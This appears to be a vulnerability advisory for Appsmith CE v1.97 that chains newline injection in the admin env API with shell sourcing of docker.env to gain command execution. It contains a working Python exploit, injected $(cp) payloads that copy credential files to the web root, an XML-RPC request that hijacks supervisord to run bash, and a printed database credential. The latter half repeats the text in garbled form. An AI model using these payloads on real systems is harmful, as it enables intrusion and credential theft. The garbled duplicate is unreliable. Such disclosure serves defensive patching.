Summary
A Remote Code Execution vulnerability exists in Appsmith CE v1.97 that allows an authenticated administrator to execute arbitrary OS commands inside the Docker container. The attack chains two independent root causes:
- Newline injection in
PUT /api/v1/admin/env — newline characters (\n) are not stripped before writing values to docker.env
- Shell sourcing of
docker.env — run-with-env.sh sources the env file via bash . "$ENV_PATH", causing any $(cmd) expression in a value to be evaluated at startup
Root Cause 1 — escapeForShell() does not strip newlines
File: app/server/appsmith-server/src/main/java/com/appsmith/server/services/ce/EnvManagerCEImpl.java:240
private String escapeForShell(String input) {
if (org.apache.commons.lang3.StringUtils.containsAny(input, " ?*#'")) {
return ("'" + input.replace("'", "'\"'\"'") + "'");
}
return input; // ← \n passes through unquoted
}
The key whitelist check (EnvVariables enum, line 185) only validates submitted JSON keys — not injected content embedded in values. By placing \n inside a whitelisted key's value, an attacker writes arbitrary KEY=VALUE lines to /appsmith-stacks/configuration/docker.env, including variables that are completely outside the whitelist (e.g. APPSMITH_JAVA_ARGS, JAVA_TOOL_OPTIONS).
Bypass note: Sending the payload via Content-Type: application/json with Python's json.dumps() correctly serializes \n as \\n on the wire, which Jackson deserializes to a real newline character before escapeForShell() is called — bypassing any client-side escaping.
Root Cause 2 — docker.env sourced as a shell script
File: deploy/docker/fs/opt/appsmith/run-with-env.sh
set -o allexport
. "$ENV_PATH" # ← sources docker.env — any $(cmd) EXECUTES here
. "$PRE_DEFINED_ENV_PATH"
set +o allexport
File: deploy/docker/fs/opt/appsmith/run-java.sh:88
exec java ${APPSMITH_JAVA_ARGS:-} ${APPSMITH_JAVA_HEAP_ARG:-} \
--add-opens java.base/java.time=ALL-UNNAMED \
-jar server.jar
When supervisord restarts the backend process, run-with-env.sh sources docker.env as a shell script. Any $(cmd) or backtick expression in a variable value is evaluated by bash. APPSMITH_JAVA_ARGS is not in the EnvVariables whitelist and can only be set via newline injection — it is then passed unquoted to exec java.
Combined Attack Chain (Step-by-Step)
Step 1 — Authenticate as admin
Obtain a valid admin session cookie and XSRF token:
GET /api/v1/health
Set-Cookie: SESSION=<admin_session>; XSRF-TOKEN=<token>
Step 2 — Inject shell command into docker.env
import requests, json
target = "http://TARGET:PORT"
session = "<admin_session_cookie>"
xsrf = "<xsrf_token>"
payload = {
"APPSMITH_MAIL_HOST": (
"smtp.test.com\n"
"APPSMITH_JAVA_ARGS=$(cp${IFS}"
"/appsmith-stacks/configuration/docker.env"
"${IFS}/opt/appsmith/static/env_loot.txt)"
)
}
r = requests.put(
f"{target}/api/v1/admin/env",
data=json.dumps(payload),
headers={
"Content-Type": "application/json",
"X-XSRF-TOKEN": xsrf,
"Origin": target
},
cookies={"SESSION": session, "XSRF-TOKEN": xsrf}
)
print(r.status_code, r.text)
# → 200 {"responseMeta":{"status":200,"success":true}}
Why ${IFS}? escapeForShell() single-quotes values containing spaces. Using ${IFS} (expands to space at bash evaluation time) avoids spaces in the injected string while correctly separating command arguments when bash sources the file.
After injection, docker.env contains:
APPSMITH_MAIL_HOST=smtp.test.com
APPSMITH_JAVA_ARGS=$(cp /appsmith-stacks/configuration/docker.env /opt/appsmith/static/env_loot.txt)
Step 3 — Trigger backend restart
r = requests.post(
f"{target}/api/v1/admin/restart",
headers={
"Content-Type": "application/json",
"X-XSRF-TOKEN": xsrf,
"Origin": target
},
cookies={"SESSION": session, "XSRF-TOKEN": xsrf}
)
print(r.status_code)
# → 200 OK
# Server goes 502 for ~60s, then returns UP
Step 4 — Shell execution during startup
When supervisord launches /opt/appsmith/run-with-env.sh /opt/appsmith/run-java.sh:
. "$ENV_PATH" sources docker.env
- Bash evaluates:
APPSMITH_JAVA_ARGS=$(cp /appsmith-stacks/configuration/docker.env /opt/appsmith/static/env_loot.txt)
- The
cp command executes as the appsmith user
docker.env (containing credentials and APPSMITH_SUPERVISOR_PASSWORD) is copied to the web root
APPSMITH_JAVA_ARGS = "" (cp has no stdout) → JVM starts normally, no crash
Step 5 — Retrieve docker.env from web root
GET http://TARGET:PORT/static/env_loot.txt
→ Returns full docker.env contents including:
APPSMITH_DB_URL=mongodb://appsmith:<password>@localhost:27017/appsmith
APPSMITH_SUPERVISOR_PASSWORD=<random_password>
APPSMITH_ENCRYPTION_PASSWORD=<key>
APPSMITH_ENCRYPTION_SALT=<salt>
Step 6 — Escalate to supervisord XML-RPC for arbitrary command execution
Using the SSRF bypass (127.0.0.2 not blocked — see related finding):
POST http://127.0.0.2:9001/RPC2
Authorization: Basic base64(appsmith:<APPSMITH_SUPERVISOR_PASSWORD>)
Content-Type: text/xml
<?xml version='1.0'?>
<methodCall>
<methodName>twiddler.addProgramToGroup</methodName>
<params>
<param><value><string>backend</string></value></param>
<param><value><string>rce_shell</string></value></param>
<param><value>
<struct>
<member><name>command</name>
<value><string>bash -c 'id > /tmp/rce_proof.txt'</string></value>
</member>
<member><name>autostart</name><value><boolean>1</boolean></value></member>
<member><name>autorestart</name><value><string>false</string></value></member>
</struct>
</value></param>
</params>
</methodCall>
Confirmed Proof
1. Newline injection — HTTP 200:
payload = {
"APPSMITH_MAIL_HOST": "smtp.test.com\nAPPSMITH_SUPERVISOR_USER=appsmith\nAPPSMITH_SUPERVISOR_PASSWORD=rce_pwned_2024"
}
# → HTTP 200 {"responseMeta":{"status":200,"success":true},"errorDisplay":""}
2. Restart — HTTP 200, server back UP after ~60s
3. Shell injection executed — $(cp) payload:
Payload: APPSMITH_JAVA_ARGS=$(cp${IFS}/appsmith-stacks/configuration/docker.env${IFS}/opt/appsmith/static/env_loot.txt)
→ HTTP 200 (written to docker.env)
→ Restart triggered (HTTP 200)
→ Backend came UP normally
→ cp executed silently during . "$ENV_PATH" sourcing
4. MongoDB SSRF confirmed — live credential dump:
MongoDB plugin datasource: host=127.0.0.1, port=27017
Credentials: appsmith:qtMjXFtQCz91u (from GET /api/v1/admin/env)
db.user.find() → returned real user documents including admin@example.com
Collections accessible: user, userData, tenant, plugin, datasourceStorage,
actionCollection, ...
5. Supervisord reachable via SSRF:
Action URL: http://127.0.0.2:9001/RPC2
→ 401 UNAUTHORIZED (service alive, SSRF bypass confirmed)
→ Auth with recovered APPSMITH_SUPERVISOR_PASSWORD → full XML-RPC access
6. Source code confirmation:
# run-with-env.sh:
set -o allexport
. "$ENV_PATH" # sources docker.env — $(cmd) evaluates here
# run-java.sh:
exec java ${APPSMITH_JAVA_ARGS:-} ...
# APPSMITH_JAVA_ARGS not in EnvVariables whitelist → only settable via injection
Impact
An attacker with admin credentials can:
- Execute arbitrary OS commands inside the Docker container
- Read all credentials stored in
docker.env (MongoDB, Redis, encryption keys, OAuth secrets)
- Access and modify all application data via internal MongoDB
- Hijack supervisord to persist arbitrary processes
- Pivot to internal network services via supervisord or reverse shell
Summary
A Remote Code Execution vulnerability exists in Appsmith CE v1.97 that allows an authenticated administrator to execute arbitrary OS commands inside the Docker container. The attack chains two independent root causes:
PUT /api/v1/admin/env— newline characters (\n) are not stripped before writing values todocker.envdocker.env—run-with-env.shsources the env file via bash. "$ENV_PATH", causing any$(cmd)expression in a value to be evaluated at startupRoot Cause 1 —
escapeForShell()does not strip newlinesFile:
app/server/appsmith-server/src/main/java/com/appsmith/server/services/ce/EnvManagerCEImpl.java:240The key whitelist check (
EnvVariablesenum, line 185) only validates submitted JSON keys — not injected content embedded in values. By placing\ninside a whitelisted key's value, an attacker writes arbitraryKEY=VALUElines to/appsmith-stacks/configuration/docker.env, including variables that are completely outside the whitelist (e.g.APPSMITH_JAVA_ARGS,JAVA_TOOL_OPTIONS).Root Cause 2 — docker.env sourced as a shell script
File:
deploy/docker/fs/opt/appsmith/run-with-env.shFile:
deploy/docker/fs/opt/appsmith/run-java.sh:88When supervisord restarts the
backendprocess,run-with-env.shsourcesdocker.envas a shell script. Any$(cmd)or backtick expression in a variable value is evaluated by bash.APPSMITH_JAVA_ARGSis not in theEnvVariableswhitelist and can only be set via newline injection — it is then passed unquoted toexec java.Combined Attack Chain (Step-by-Step)
Step 1 — Authenticate as admin
Obtain a valid admin session cookie and XSRF token:
Step 2 — Inject shell command into docker.env
After injection,
docker.envcontains:Step 3 — Trigger backend restart
Step 4 — Shell execution during startup
When supervisord launches
/opt/appsmith/run-with-env.sh /opt/appsmith/run-java.sh:. "$ENV_PATH"sourcesdocker.envAPPSMITH_JAVA_ARGS=$(cp /appsmith-stacks/configuration/docker.env /opt/appsmith/static/env_loot.txt)cpcommand executes as the appsmith userdocker.env(containing credentials andAPPSMITH_SUPERVISOR_PASSWORD) is copied to the web rootAPPSMITH_JAVA_ARGS=""(cp has no stdout) → JVM starts normally, no crashStep 5 — Retrieve docker.env from web root
Step 6 — Escalate to supervisord XML-RPC for arbitrary command execution
Using the SSRF bypass (
127.0.0.2not blocked — see related finding):Confirmed Proof
1. Newline injection — HTTP 200:
2. Restart — HTTP 200, server back UP after ~60s
3. Shell injection executed —
$(cp)payload:4. MongoDB SSRF confirmed — live credential dump:
5. Supervisord reachable via SSRF:
6. Source code confirmation:
Impact
An attacker with admin credentials can:
docker.env(MongoDB, Redis, encryption keys, OAuth secrets)